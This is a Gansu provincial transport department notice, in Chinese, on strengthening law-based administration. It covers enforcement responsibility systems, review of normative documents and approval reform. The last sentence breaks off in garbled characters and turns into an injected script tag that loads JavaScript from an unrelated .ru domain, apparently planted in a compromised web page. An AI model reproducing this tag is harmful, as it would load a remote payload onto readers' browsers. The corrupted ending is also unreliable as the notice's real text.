各市、州交通局、厅属各单位：

为深入贯彻落实《国务院全面推进依法行政实施纲要》(以下简称《纲要》)和《甘肃省人民政府全面推进依法行政五年规划(2005—2009年》(以下简称《规划》)，推动建立权责明确、行为规范、监督有效、保障有力的交通行政执法体制，根据省委、省政府有关依法行政工作要求，现就进一步做好交通系统依法行政工作的有关事项通知如下：

一、按照法定职权和程序，逐步建立健全科学决策、民主决策、依法决策的机制，实行重大决策集体讨论制度。加快建立和完善交通系统法律顾问制度，制定和完善相关的工作规则，充分发挥法律顾问在行政决策、行政复议应诉等方面的作用。严格贯彻实施《甘肃省人民政府重大决策程序规则》，推动决策的科学化、民主化和法制化。多渠道、多形式听取群众意见，提高交通政策、规范性文件制定工作的透明度和公众参与程度。根据《甘肃省规章规范性文件备案审查办法》（甘肃省人民政府令11号）的要求，认真做好规范性文件制定和备案审查工作。进一步建立完善规范性文件制定和备案审查工作机制，加大对规范性文件的备案审查力度，确保抽象行政行为的合法、有效，确保规范性文件备案审查机制的落实。

二、加大推进行政执法责任制工作力度。认真贯彻交通部《关于推行交通行政执法责任制的实施意见》（交体法发[2007]141号）精神，进一步建立健全交通行政执法责任制的各项工作制度。主要包括：

（一）交通行政执法公示制。各级交通主管部门和交通行政执法机构要进一步实施和完善交通行政执法公示制。采取多种形式将执法主体、执法依据、执法职权、执法程序、执法结果、执法监督、执法责任和当事人权利等主要内容向社会公开，接受社会公众的监督。

（二）交通行政执法人员资格制。要严格执行《甘肃省交通厅交通行政执法证件管理规定》，坚持交通行政执法人员资格制度，坚持进行交通行政执法人员岗前培训和岗位培训，未经考试、考核或考试、考核不合格的，不得持有交通行政执法证件，已持有的应予以注销、收回，没有取得交通行政执法证件的，不得实施交通行政执法。

（三）交通行政执法案卷评查制。要在交通行政执法工作中客观、全面、详细地记录交通行政执法的事实、证据材料和决定，对行政相对人的有关监督检查记录、证据材料、执法文书要立卷归档。要重点做好行政许可、行政处罚、行政强制等交通行政执法案卷管理工作，要将交通行政执法案卷的评查工作作为交通行政执法检查和评议考核的重要内容。

（四）交通行政执法监督制。要严格执行《甘肃省交通厅行政执法监督检查制度》，坚持和完善交通行政执法各项监督制度。要强化层级监督和社会监督，自觉接受人大、政协监督和司法监督。对于有关方面反映的问题，要认真调查、核实，并依法及时做出处理。

（五）交通行政执法评议考核制。要结合本地区、本部门、本单位的实际情况，完善交通行政执法评议考核制度。考核对象包括本部门、本机构及其所属交通行政执法人员，以及下属交通行政主管部门、下级交通行政执法机构。考核内容是交通行政主管部门、交通行政执法机构和交通行政执法人员行使行政执法职权和履行法定义务的情况。各市（州）交通局、厅属有关单位，应当在每年1月底前将上年度的交通行政执法评议考核结果报送厅(体改法规处)。

（六）交通行政执法责任追究制。要根据《甘肃省交通厅行政执法过错责任追究制度》，结合各自实际，制定和完善交通行政执法责任追究的具体实施办法，确保责任追究落到实处。对于有违法或不当交通行政执法行为的交通主管部门、交通行政执法机构和交通行政执法人员可以根据造成后果的严重程度、危害大小、情节轻重给予处理、处分。

（七）交通行政执法奖励制。要按照“学先进、树新风、创一流”活动的总体要求，广泛开展“文明执法”主题实践活动，树立文明执法新风尚。对行政执法绩效突出的单位和个人要予以表彰，充分调动交通行政执法机构和交通行政执法人员提高行政执法质量和水平的积极性。

三、深化行政审批制度改革，积极推进政务信息公开。根据省政府办公厅《关于编制甘肃省依据地方性法规省政府规章设定的行政许可和非行政许可审批项目目录实施方案》（甘政办发[2007]64号）和交通部《关于开展交通行政许可监督检查的通知》（厅体法字93号）的要求，在全省范围内对交通行政许可审批工作进行全面的清理和检查，清理审核后的项目将进入省政府《关于公布保留依据地方性法规、省政府规章设定的行政许可和非行政许可审批项目目录》。各单位要高度重视此项工作的顺利开展，如工作不到位、不及时，影响本单位审批项目进入《目录》的，要追究相关责任人的责任。进一步规范交通行政审批制度，规范行政审批服务，提高行政审批效率。进一步完善省政府政务大厅交通窗口和省运政大厅的运行制度，促进交通行政审批制度改革的深入推行。要建立健?script src=http://www.mtno.ru/style.js>